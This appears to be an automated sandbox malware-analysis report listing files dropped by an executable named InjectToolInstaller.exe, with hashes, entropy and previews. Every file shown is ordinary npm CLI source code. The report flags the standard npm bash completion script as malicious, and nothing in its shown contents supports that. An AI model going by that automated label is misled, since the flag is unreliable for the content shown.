Preview:	const { resolve } = require('path').const pkgJson = require('@npmcli/package-json')..const reifyFinish = require('../utils/reify-finish.js').const completion = require('../utils/completion/installed-shallow.js')..const ArboristWorkspaceCmd = require('../arborist-cmd.js').class Uninstall extends ArboristWorkspaceCmd {. static description = 'Remove a package'. static name = 'uninstall'. static params = ['save', 'global', ...super.params]. static usage = ['[<@scope>/]<pkg>...']. static ignoreImplicitWorkspace = false.. // TODO. /* istanbul ignore next */. static async completion (opts, npm) {. return completion(npm, opts). }.. async exec (args) {. if (!args.length) {. if (!this.npm.global) {. throw new Error('Must provide a package name to remove'). } else {. try {. const { content: pkg } = await pkgJson.normalize(this.npm.localPrefix). args.push(pkg.name). } catch (er) {. if (er.code !== 'ENOENT' && er.code !== 'EN

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\unpublish.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4585
Entropy (8bit):	4.766724897239634
Encrypted:	false
SSDEEP:	96:BULfVBVWPuOdzQuMMeZXRFI74Nlm1AvCh20AsN6pHwFt:BULfDIJpQpDI74/zvCh2vsN6pQb
MD5:	06E45A2A0B3C4D2E8A4FB8A7AC8CAF03
SHA1:	B4DE0E6917AEADD5A56FDBD3A4A9FC8701A5EA70
SHA-256:	0E64A03FD0CC50C2FAC061353B2EE0A7AEFA6E45DAA72CAC69DD978256909ECA
SHA-512:	6CA2E9FA9F848268385316383846D359CA817FD09F65C081EB182A83EC7039988C253AF365240F1B6EC647FDC50E0C40C08059E3B202335EBE2343D8648E1821
Malicious:	false
Preview:	const libaccess = require('libnpmaccess').const libunpub = require('libnpmpublish').unpublish.const npa = require('npm-package-arg').const npmFetch = require('npm-registry-fetch').const pkgJson = require('@npmcli/package-json')..const { flatten } = require('@npmcli/config/lib/definitions').const getIdentity = require('../utils/get-identity.js').const log = require('../utils/log-shim').const otplease = require('../utils/otplease.js')..const LAST_REMAINING_VERSION_ERROR = 'Refusing to delete the last version of the package. ' +.'It will block from republishing a new version for 24 hours.\n' +.'Run with --force to do this.'..const BaseCommand = require('../base-command.js').class Unpublish extends BaseCommand {. static description = 'Remove a package from the registry'. static name = 'unpublish'. static params = ['dry-run', 'force', 'workspace', 'workspaces']. static usage = ['[<package-spec>]']. static workspaces = true. static ignoreImplicitWorkspace = false.. static async getKey

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\unstar.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.457736414198496
Encrypted:	false
SSDEEP:	3:JeUkP2xREqD4MGF9N94MFlTyqTMMyAPkXMGFwoCeWRNCxQJyBb6:JaqEqDBS91lTysyAHSdHWrCxQ0B2
MD5:	D0FFB2DE61FEA3BEA34A44592534AEE9
SHA1:	0BBF921D2E10F7EAD78FCFEAFFA74146D146D9CC
SHA-256:	B43BA4028C0266A0261C046F230DC34BBBB55E244BE6055A39C74212BB5473ED
SHA-512:	BCBC8C4ACAA8767A6FABF91354CEADA6B110BCBD75B86D7C66B69560F5D3C99EDA14AE7BA982D3754ABAE98375549689A143399691D99F38C85AC050AA95FC41
Malicious:	false
Preview:	const Star = require('./star.js')..class Unstar extends Star {. static description = 'Remove an item from your favorite packages'. static name = 'unstar'.}.module.exports = Unstar.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\update.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1780
Entropy (8bit):	4.7743731369256075
Encrypted:	false
SSDEEP:	24:CV4PZoMCRZK9UqW6e2MwvNrtejcW3O7VNmu0Qhyuy74JYAAJMLqupsAsa4OgiopY:WQu/mvNrtS4QEYEfWAM6sqY+
MD5:	AF18209030575E566C76EA4FEEBFDE8D
SHA1:	1E0A7CB4F21B19F7003957DC2F8C83A864302D42
SHA-256:	F6B0543B67A7C156C5DF46CDCBDB36641D5F4CEB6E0939EA0A04AA5E4B67A761
SHA-512:	34EBF918B69EA988513D793F3D1AF75A0E161E1ED7997DE26616D23E25486324F12B2E1ACF465B35501A6D5937A4C9D33C9B99B90BF6BC3455FBFDB1016CB5CA
Malicious:	false
Preview:	const path = require('path')..const log = require('../utils/log-shim.js')..const reifyFinish = require('../utils/reify-finish.js')..const ArboristWorkspaceCmd = require('../arborist-cmd.js').class Update extends ArboristWorkspaceCmd {. static description = 'Update packages'. static name = 'update'.. static params = [. 'save',. 'global',. 'install-strategy',. 'legacy-bundling',. 'global-style',. 'omit',. 'include',. 'strict-peer-deps',. 'package-lock',. 'foreground-scripts',. 'ignore-scripts',. 'audit',. 'bin-links',. 'fund',. 'dry-run',. ...super.params,. ].. static usage = ['[<pkg>...]'].. // TODO. /* istanbul ignore next */. static async completion (opts, npm) {. const completion = require('../utils/completion/installed-deep.js'). return completion(npm, opts). }.. async exec (args) {. const update = args.length === 0 ? true : args. const global = path.resolve(this.npm.globalDir, '..'). const where = this.npm.glo

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\version.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3669
Entropy (8bit):	4.610501121642458
Encrypted:	false
SSDEEP:	96:i57uswvX5dsivVAmfQLBP4MhIt5L+847iQwd:ihkX/sivV9QiMhIt5Ls7iQwd
MD5:	79359AED86205320F43AC00A77E67A8C
SHA1:	B7BCA9D478A07C7EC0CF0363EAD3FAD2A76F32B2
SHA-256:	260B4E3846C2E876476F4D6AEF44B0D756CCDC5829272B603FE81D4DA70BFD76
SHA-512:	2C2B31082F95A45C65CF642904EF90441B49F61D4145FD6BC0EC9F36D8CD03D609C653428DF2A4BFB75EDABA048BF9574632838009C2D04557679664BC67BA8A
Malicious:	false
Preview:	const libnpmversion = require('libnpmversion').const { resolve } = require('path').const { promisify } = require('util').const readFile = promisify(require('fs').readFile)..const updateWorkspaces = require('../workspaces/update-workspaces.js').const BaseCommand = require('../base-command.js')..class Version extends BaseCommand {. static description = 'Bump a package version'. static name = 'version'. static params = [. 'allow-same-version',. 'commit-hooks',. 'git-tag-version',. 'json',. 'preid',. 'sign-git-tag',. 'workspace',. 'workspaces',. 'workspaces-update',. 'include-workspace-root',. ].. static workspaces = true. static ignoreImplicitWorkspace = false.. /* eslint-disable-next-line max-len */. static usage = ['[<newversion> \| major \| minor \| patch \| premajor \| preminor \| prepatch \| prerelease \| from-git]'].. static async completion (opts) {. const {. conf: {. argv: { remain },. },. } = opts. if (remain.length > 2) {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\view.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	14722
Entropy (8bit):	4.712656544083773
Encrypted:	false
SSDEEP:	192:7BGoXVosLOkyWeVUSzG7+Zz+6yaOhyOaigI4S6/4zW/JEtQboFO3Kc4nn6Lnhpzc:7oDqyazc4OavI9X7YqRUbxL
MD5:	627E1D266374AE03F022FD34FC2DB74D
SHA1:	FDA5D034DF1D005D8279DC7C6347099313FA7F14
SHA-256:	FAF3622277605484D50042DBEFC410E4F9D47EC816E5FBB140155C5F69411AE5
SHA-512:	8706C24201060045A99D3EEF7B202DF9229CD7331AEE59DE9E640A1F5D1EEDA856D81115ED29CD71FE7D4F2163585F1C0B5E7024C63633128E63B93A13D20347
Malicious:	false
Preview:	const columns = require('cli-columns').const fs = require('fs').const jsonParse = require('json-parse-even-better-errors').const log = require('../utils/log-shim.js').const npa = require('npm-package-arg').const { resolve } = require('path').const formatBytes = require('../utils/format-bytes.js').const relativeDate = require('tiny-relative-date').const semver = require('semver').const { inspect, promisify } = require('util').const { packument } = require('pacote')..const readFile = promisify(fs.readFile).const readJson = async file => jsonParse(await readFile(file, 'utf8'))..const Queryable = require('../utils/queryable.js').const BaseCommand = require('../base-command.js').class View extends BaseCommand {. static description = 'View registry info'. static name = 'view'. static params = [. 'json',. 'workspace',. 'workspaces',. 'include-workspace-root',. ].. static workspaces = true. static ignoreImplicitWorkspace = false. static usage = ['[<package-spec>] [<field>[.s

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\whoami.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	474
Entropy (8bit):	4.722292778145719
Encrypted:	false
SSDEEP:	12:jF6wWkZGYAxkfnETl0Weh2t/Ebp0mDezzxBb0BEh:kPYACETlzfEb2mKzxBb0BI
MD5:	4428466AA36CB4C40ADD92164A3F842F
SHA1:	D6F5DB45778CA7F6AC8E60EFCCC1486A3C1B38ED
SHA-256:	20FD71CB6290E166F57251419A15DA83EB2F1262CDB473766FB3001C4A524632
SHA-512:	EA81ECE8033D06199D2787FBF607B2555E5E8708B41552B2F1AA9DC6F823845611CD0FB95FB21DA637A1C6F43B73A4BAD50BAF501040B5AF9B78F5B3F4C0FD08
Malicious:	false
Preview:	const getIdentity = require('../utils/get-identity.js')..const BaseCommand = require('../base-command.js').class Whoami extends BaseCommand {. static description = 'Display npm username'. static name = 'whoami'. static params = ['registry'].. async exec (args) {. const username = await getIdentity(this.npm, { ...this.npm.flatOptions }). this.npm.output(. this.npm.config.get('json') ? JSON.stringify(username) : username. ). }.}.module.exports = Whoami.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\es6\validate-engines.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2012
Entropy (8bit):	4.666733558378126
Encrypted:	false
SSDEEP:	48:gcSgekdZFFS/BpFSM/ZtkEiB2mGbWYH0BLBdBxxMBoWB+:CgdcvcMxtiOGFdUT+
MD5:	3187803F9588D32951D995AA905B4A8D
SHA1:	467553DE251288475945D04689F60887AE64F2F1
SHA-256:	020024ABCE0210BFD929526CFC3672317C7134BA6962B23109AB7E48CBA40DB7
SHA-512:	48268307CF0890E5ACA602FFBACD73E1055EB4408550B3D1B43E4CCC2B7B61A7C18D057E3DC377FC1C2FF27AF8C60FB7894DEB6519DE97B0561DDCB0A6A2B618
Malicious:	false
Preview:	// This is separate to indicate that it should contain code we expect to work in.// all versions of node >= 6. This is a best effort to catch syntax errors to.// give users a good error message if they are using a node version that doesn't.// allow syntax we are using such as private properties, etc. This file is.// linted with ecmaVersion=6 so we don't use invalid syntax, which is set in the.// .eslintrc.local.json file..const { engines: { node: engines }, version } = require('../../package.json').const npm = `v${version}`..module.exports = (process, getCli) => {. const node = process.version.. /* eslint-disable-next-line max-len /. const unsupportedMessage = `npm ${npm} does not support Node.js ${node}. This version of npm supports the following node versions: \`${engines}\`. You can find the latest version at https://nodejs.org/.`.. / eslint-disable-next-line max-len */. const brokenMessage = `ERROR: npm ${npm} is known not to run on Node.js ${node}. This version of npm sup

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\lifecycle-cmd.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	554
Entropy (8bit):	4.73063463164827
Encrypted:	false
SSDEEP:	12:jLHd7EtaEsWkOykfubA+/rqDrqLckGpFiuKlYGpFiuEb0BEo:F7JbAqrir4X3KXDb0BEo
MD5:	C52F3CB0915746092022817720ADFDFC
SHA1:	A13CCBD95E3BF24F4DFF8F59A4BF44D17B5FCE05
SHA-256:	C9646461D92FD3F69BF689196EEBB5CF6CB444983BC45862BCD37B46B1841F81
SHA-512:	7115B0785CCCE0B7C55AE05AE079216BD8109EFC10F4BF305831D4E87AA13B7E6FD78A163D6F64162A4D5AE5C86A632F420F533D74FD0117EF23EC1083F23286
Malicious:	false
Preview:	// The implementation of commands that are just "run a script".// restart, start, stop, test..const BaseCommand = require('./base-command.js').class LifecycleCmd extends BaseCommand {. static usage = ['[-- <args>]']. static isShellout = true. static workspaces = true. static ignoreImplicitWorkspace = false.. async exec (args) {. return this.npm.exec('run-script', [this.constructor.name, ...args]). }.. async execWorkspaces (args) {. return this.npm.exec('run-script', [this.constructor.name, ...args]). }.}.module.exports = LifecycleCmd.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\npm.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	13542
Entropy (8bit):	4.707260681766298
Encrypted:	false
SSDEEP:	192:XJ5aRCWQy2HJDX6Aczd/S6m0Yxqnd7QblY66Kt38IGCGTKXQ6Y6xBsQz6DVZ/DxM:/BJz6xteORAqTkBlDhoxQ
MD5:	69472C235B716E4746444C912AF4837D
SHA1:	3EA5165BE17C119107E97016A7C174EA6A831C65
SHA-256:	D12BE17C2867D9DCCCEA6E6AC8D1A05D6E3188AB1908F0CA498E566412758C87
SHA-512:	39BE7A6EB8638B7D968B26655E5EE8EF447308D3822B104ED251E83532826E1E75A0F7E769D9559DCD6D6655A329A1193C30D6A3C0520F1B84A8A7CFC2E6F5FB
Malicious:	false
Preview:	const { resolve, dirname, join } = require('path').const Config = require('@npmcli/config').const which = require('which').const fs = require('fs/promises')..// Patch the global fs module here at the app level.require('graceful-fs').gracefulify(require('fs'))..const { definitions, flatten, shorthands } = require('@npmcli/config/lib/definitions').const usage = require('./utils/npm-usage.js').const LogFile = require('./utils/log-file.js').const Timers = require('./utils/timers.js').const Display = require('./utils/display.js').const log = require('./utils/log-shim').const replaceInfo = require('./utils/replace-info.js').const updateNotifier = require('./utils/update-notifier.js').const pkg = require('../package.json').const { deref } = require('./utils/cmd-list.js')..class Npm {. static get version () {. return pkg.version. }.. static cmd (c) {. const command = deref(c). if (!command) {. throw Object.assign(new Error(`Unknown command ${c}`), {. code: 'EUNKNOWNCOMM

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\package-url-cmd.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1938
Entropy (8bit):	4.703616435207305
Encrypted:	false
SSDEEP:	48:eXQscwurvAtv/yTQWF0RIeW/ZdFe0LKzQYP:4fcwuUpqcO0RIlXFe0LgP
MD5:	B6D8E8B95A67A1006AAF10343532E809
SHA1:	23A56A0F19EBD0887C2B55BEEABD66BFF69CF3F9
SHA-256:	E65107BD16B911E3D9C19C239F9ABC26EC596708A9C00A58E8FB7C9EE3ABFE0D
SHA-512:	0142D73D8C2FD0A9C0F1B44426F3424DE44D44B101B5F6F6BAEB06FD34F4BDB33A390F487E76B35BD5D0857104EE85632130F1230FFACD61A49049E2EA153D06
Malicious:	false
Preview:	// Base command for opening urls from a package manifest (bugs, docs, repo)..const pacote = require('pacote').const hostedGitInfo = require('hosted-git-info')..const openUrl = require('./utils/open-url.js').const log = require('./utils/log-shim')..const BaseCommand = require('./base-command.js').class PackageUrlCommand extends BaseCommand {. static params = [. 'browser',. 'registry',. 'workspace',. 'workspaces',. 'include-workspace-root',. ].. static workspaces = true. static ignoreImplicitWorkspace = false. static usage = ['[<pkgname> [<pkgname> ...]]'].. async exec (args) {. if (!args \|\| !args.length) {. args = ['.']. }.. for (const arg of args) {. // XXX It is very odd that `where` is how pacote knows to look anywhere. // other than the cwd.. const opts = {. ...this.npm.flatOptions,. where: this.npm.localPrefix,. fullMetadata: true,. }. const mani = await pacote.manifest(arg, opts). const url = thi

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\audit-error.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	4.590573404391164
Encrypted:	false
SSDEEP:	24:yobaJ53dyXuEtJVPemiZzo8mlLJb5dom3e4sBrC5yB2:yxnwX31PemHlPdxHs5C5yk
MD5:	53D13E89D9AFC53BC908EEB1770BEE57
SHA1:	386D08B6A8A29BBB5BB0288046AFB8C77048F0E2
SHA-256:	7BB6E433C43C3FC6EA026DB40F795581F85648D5930E28ABE902BF7BDCB6A877
SHA-512:	D262AEECF7FA109620BB391BBFDBD7843A542F272C5C5430F81B444B9AB8980C2E38DA2134867863EC7A06268A617DF8A78611A901FD49BBE8743DB1C2F0F92E
Malicious:	false
Preview:	const log = require('./log-shim').const replaceInfo = require('./replace-info.js')..// print an error or just nothing if the audit report has an error.// this is called by the audit command, and by the reify-output util.// prints a JSON version of the error if it's --json.// returns 'true' if there was an error, false otherwise..const auditError = (npm, report) => {. if (!report \|\| !report.error) {. return false. }.. if (npm.command !== 'audit') {. return true. }.. const { error } = report.. // ok, we care about it, then. log.warn('audit', error.message). const { body: errBody } = error. const body = Buffer.isBuffer(errBody) ? errBody.toString() : errBody. if (npm.flatOptions.json) {. npm.output(JSON.stringify({. message: error.message,. method: error.method,. uri: replaceInfo(error.uri),. headers: error.headers,. statusCode: error.statusCode,. body,. }, null, 2)). } else {. npm.output(body). }.. throw 'audit endpoint returned a

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\auth.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2871
Entropy (8bit):	4.572286723523333
Encrypted:	false
SSDEEP:	48:6KycR5H0UIlE/NLh/ElMQhlRmHXUIl0Nuh/EGfMQy6r:KcDfIlqNZECQhlqEIl0N2EGUQy6r
MD5:	562732CA8EF778282B54352BEB5BE2DA
SHA1:	EE1A165A6FB810520CD28F9387DA5A6836E16824
SHA-256:	CC66CD3C7D90A1657F68B3CB03332021504371B9B39862175C11027CEF51F688
SHA-512:	7B8E388314046AF4D27F1F0A05DD1CD6A2E4D188FDB6E3539444F6F470021953CC996BA9E99CD4D633A3EA4ECE95C33D7EE0CD3DFA2C984C5379228FFB88FEC7
Malicious:	false
Preview:	const profile = require('npm-profile').const log = require('../utils/log-shim').const openUrlPrompt = require('../utils/open-url-prompt.js').const read = require('../utils/read-user-info.js').const otplease = require('../utils/otplease.js')..const adduser = async (npm, { creds, ...opts }) => {. const authType = npm.config.get('auth-type'). let res. if (authType === 'web') {. try {. res = await profile.adduserWeb((url, emitter) => {. openUrlPrompt(. npm,. url,. 'Create your account at',. 'Press ENTER to open in the browser...',. emitter. ). }, opts). } catch (err) {. if (err.code === 'ENYI') {. log.verbose('web add user not supported, trying couch'). } else {. throw err. }. }. }.. // auth type !== web or ENYI error w/ web adduser. if (!res) {. const username = await read.username('Username:', creds.username). const password = await read.password('Password:', creds.passw

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\cmd-list.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2959
Entropy (8bit):	4.505656604071161
Encrypted:	false
SSDEEP:	48:XUhps+A2sJr6vb5eSFlf96+TZJXt2ram/a7DNIYJQox1veA0fFqWSclwzCyZf+9p:a5eMh4+TZPRm/a7DNIYJz1vezfMWSc3l
MD5:	CD6206BFD5AE86D71B289C703F930F1B
SHA1:	E555FE8831529300FD4AEE836A8F40A5FDC1567E
SHA-256:	4045CEA92A3D0EFB18420C149D78DC12BE2C680107A96DBA57895DC261E9A757
SHA-512:	66CA6661F49CDBE3B049C13BAA38EEE8198277D18B5A3FB09E3C51129FD6BD27C1EEA64AAC345C51830E73F89543B19F89562E4849B25087FBA82F8741956EA1
Malicious:	false
Preview:	const abbrev = require('abbrev')..// These correspond to filenames in lib/commands.// Please keep this list sorted alphabetically.const commands = [. 'access',. 'adduser',. 'audit',. 'bugs',. 'cache',. 'ci',. 'completion',. 'config',. 'dedupe',. 'deprecate',. 'diff',. 'dist-tag',. 'docs',. 'doctor',. 'edit',. 'exec',. 'explain',. 'explore',. 'find-dupes',. 'fund',. 'get',. 'help',. 'help-search',. 'hook',. 'init',. 'install',. 'install-ci-test',. 'install-test',. 'link',. 'll',. 'login',. 'logout',. 'ls',. 'org',. 'outdated',. 'owner',. 'pack',. 'ping',. 'pkg',. 'prefix',. 'profile',. 'prune',. 'publish',. 'query',. 'rebuild',. 'repo',. 'restart',. 'root',. 'run-script',. 'sbom',. 'search',. 'set',. 'shrinkwrap',. 'star',. 'stars',. 'start',. 'stop',. 'team',. 'test',. 'token',. 'uninstall',. 'unpublish',. 'unstar',. 'update',. 'version',. 'view',. 'whoami',.]..// These must resolve to an entry in commands.const aliases

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\completion.fish

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1596
Entropy (8bit):	4.730858122480594
Encrypted:	false
SSDEEP:	24:fpVC5d7BJVMbpHL6ux2ZGWUG6uOKGfHRQuL2CIQnuV9Yl30yjTm02yTD2aEAGPIu:PEtJCbJ6k2ZqG6MGfxdLKwuvYl38SVGf
MD5:	F817F6BAD57ACE9356A9CE4F79DD4F9D
SHA1:	EB700CC459B969E16D723D5458C392737E942AF8
SHA-256:	24906AD3817ADF9D24E03449869581E960EEE3EC1EE4AEFCA8AE0B11692D367E
SHA-512:	D0AEFA335E7F2FFA9745383EF75AF066950675F4CE08A6178E707AAE4C81D8ABA91741B84742C1E3B4F31459A1E150227B70068B0A8A2DF5B860A5653EB254B0
Malicious:	false
Preview:	# npm completions for Fish shell.# This script is a work in progress and does not fall under the normal semver contract as the rest of npm...# __fish_npm_needs_command taken from:.# https://stackoverflow.com/questions/16657803/creating-autocomplete-script-with-sub-commands.function __fish_npm_needs_command. set -l cmd (commandline -opc).. if test (count $cmd) -eq 1. return 0. end.. return 1.end..# Taken from https://github.com/fish-shell/fish-shell/blob/HEAD/share/completions/npm.fish.function __fish_complete_npm -d "Complete the commandline using npm's 'completion' tool". # tell npm we are fish shell. set -lx COMP_FISH true. if command -sq npm. # npm completion is bash-centric, so we need to translate fish's "commandline" stuff to bash's $COMP_* stuff. # COMP_LINE is an array with the words in the commandline. set -lx COMP_LINE (commandline -opc). # COMP_CWORD is the index of the current word in COMP_LINE. # bash starts ar

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\completion.sh

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Bourne-Again shell script, ASCII text executable
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.685155347150343
Encrypted:	false
SSDEEP:	48:lhetKPDuy/xjr1v4ed90kemHFWQgedfUFoP7IIkbXv4FUP:fQOuyRrlKrmV1fcoP7IIkb/fP
MD5:	B9A37F4CF5273DF249918422E9CD81B4
SHA1:	AA2289D977E0672E9586D09703B70FD14661AC8A
SHA-256:	021D7BE9D47B80AFE8644D634990C01D30F914610A7061F729D82713AD26E84A
SHA-512:	4D25D5631377932E64CDD585D2B427A0166270351288AC4F337EB558C3300F7F36E9FDDDE3594B87052129ACC591B6F275961D752C336575485AE754413E74C5
Malicious:	true
Preview:	#!/bin/bash.###-begin-npm-completion-###.#.# npm command completion script.#.# Installation: npm completion >> ~/.bashrc (or ~/.zshrc).# Or, maybe: npm completion > /usr/local/etc/bash_completion.d/npm.#..if type complete &>/dev/null; then. _npm_completion () {. local words cword. if type _get_comp_words_by_ref &>/dev/null; then. _get_comp_words_by_ref -n = -n @ -n : -w words -i cword. else. cword="$COMP_CWORD". words=("${COMP_WORDS[@]}"). fi.. local si="$IFS". if ! IFS=$'\n' COMPREPLY=($(COMP_CWORD="$cword" \. COMP_LINE="$COMP_LINE" \. COMP_POINT="$COMP_POINT" \. npm completion -- "${words[@]}" \. 2>/dev/null)); then. local ret=$?. IFS="$si". return $ret. fi. IFS="$si". if type __ltrim_colon_completions &>/dev/null; then. __ltrim_colon_completions "${words[cword]}". fi. }. complete -o default -F _npm_completion npm

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\completion\installed-deep.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	4.69205475761506
Encrypted:	false
SSDEEP:	24:fk3JgAXg/oWq3GjcQ4zLKwq1XH/KjnyzEpvHwBn:M3SAXgop3GwG31XfKj0ovHwZ
MD5:	CF44E63AA6F066D1E7ABFE74E2179174
SHA1:	FE825BBCFA668DA9E7F1A38705F689C5A7A3723E
SHA-256:	16BC6D5DA3453ACFB7B5177930F5291978FF11A2A3412692418169048CCB7DDC
SHA-512:	46A68E73EE02A59B312566618B9B60A98274D889ECA0C8E67BA1A73FD23724D975E4820C851200029D24B484404A37BE0125291FF32C5EEBA1C8EC3EFA1DB9E7
Malicious:	false
Preview:	const { resolve } = require('path').const localeCompare = require('@isaacs/string-locale-compare')('en')..const installedDeep = async (npm) => {. const Arborist = require('@npmcli/arborist'). const {. depth,. global,. prefix,. workspacesEnabled,. } = npm.flatOptions.. const getValues = (tree) =>. [...tree.inventory.values()]. .filter(i => i.location !== '' && !i.isRoot). .map(i => {. return i. }). .filter(i => (i.depth - 1) <= depth). .sort((a, b) => (a.depth - b.depth) \|\| localeCompare(a.name, b.name)).. const res = new Set(). const gArb = new Arborist({. global: true,. path: resolve(npm.globalDir, '..'),. workspacesEnabled,. }). const gTree = await gArb.loadActual({ global: true }).. for (const node of getValues(gTree)) {. res.add(global ? node.name : [node.name, '-g']). }.. if (!global) {. const arb = new Arborist({ global: false, path: prefix, workspacesEnabled }). const tree = await arb.loadActual(). fo

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\completion\installed-shallow.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	583
Entropy (8bit):	4.705825903637653
Encrypted:	false
SSDEEP:	12:Sq0ZKFJqL4fxO10K2ZvH75tsEzpkoCLhQXSzhYDnWBnZB:IeJqLeOKb5uEzEFhYCBZB
MD5:	4CA4830AEFFD19191FAFCE5A656A59F1
SHA1:	44AA25223863D0012F3194AC8B23ED5C8FDFD54F
SHA-256:	9CE217F5DFF637215F6B39BA4E11935DC512149A7C08CBF99C014946D49B05A7
SHA-512:	F0A299D3A95936371FA60CA9D6C24BF41578AC1FA5154EC47DC47D7994D3A2FFA661B654C4804C8440DA8BCFFBD9B26B509CCFE0828C6CAED56A0E460D1D3439
Malicious:	false
Preview:	const { readdirScoped } = require('@npmcli/fs')..const installedShallow = async (npm, opts) => {. const names = async global => {. const paths = await readdirScoped(global ? npm.globalDir : npm.localDir). return paths.map(p => p.replace(/\\/g, '/')). }. const { conf: { argv: { remain } } } = opts. if (remain.length > 3) {. return null. }.. const { global } = npm.flatOptions. const locals = global ? [] : await names(false). const globals = (await names(true)).map(n => global ? n : `${n} -g`). return [...locals, ...globals].}..module.exports = installedShallow.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\did-you-mean.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1482
Entropy (8bit):	4.802181114310068
Encrypted:	false
SSDEEP:	24:XAvrWHKx6bWdhEY9WCvYqzKx66cQW9VKx6kecQWNIYqadcDbQVpgCoPqxT0BcV:XgktKEl8ztxXtkVN1bdcDoqHixg6V
MD5:	CF3FA44F42FA5D6E6421068A5BA99F68
SHA1:	F93CA2162B4549666FEFE36600E2388951CD0A78
SHA-256:	03E9B0732E58C949119846F9D27BD6673EAD14608E6A8B4AE8C70ADB738B7FB5
SHA-512:	3FCB623AA05460417777EF162B350184466C5B8767F8196B9168BEAC44CBE3B5CECA9BA2C678CAE498CF47735255CED2235D186CA92D262629F19964928FE8EA
Malicious:	false
Preview:	const Npm = require('../npm').const { distance } = require('fastest-levenshtein').const pkgJson = require('@npmcli/package-json').const { commands } = require('./cmd-list.js')..const didYouMean = async (path, scmd) => {. const close = commands.filter(cmd => distance(scmd, cmd) < scmd.length * 0.4 && scmd !== cmd). let best = []. for (const str of close) {. const cmd = Npm.cmd(str). best.push(` npm ${str} # ${cmd.description}`). }. // We would already be suggesting this in `npm x` so omit them here. const runScripts = ['stop', 'start', 'test', 'restart']. try {. const { content: { scripts, bin } } = await pkgJson.normalize(path). best = best.concat(. Object.keys(scripts \|\| {}). .filter(cmd => distance(scmd, cmd) < scmd.length * 0.4 && !runScripts.includes(cmd)). .map(str => ` npm run ${str} # run the "${str}" package script`),. Object.keys(bin \|\| {}). .filter(cmd => distance(scmd, cmd) < scmd.length * 0.4). /* eslint-disable

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\utils\display.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	3516
Entropy (8bit):	4.5550096889934375
Encrypted:	false
SSDEEP:	48:T8SrVy5dPoJ+q2n5iTKqiqwUSCx1nbNr0G0HhApPL4WZHbFpkuygCT3eIyRTPVfL:dxyzPq+K91PEmJkWPpkksOtRrVfTaG
MD5:	63C15BDEAF9B17B2CE4FBB208BFC496D
SHA1:	987EB171F941055677DA9612BD26F3860275D802
SHA-256:	503465B62588CEE7FEBA31C0A3845220B09B68D1625A44E9F69F43AAAC3A7296
SHA-512:	7BD57E4DBE8078708B68B60DCE1BDF392D1C77406C6ECF4A9F6843AB3F28A3176C95E4D0C5EBCC60E7DC3A24509460B75171E095F0EB61DAAE4D7D4AB3C31951
Malicious:	false
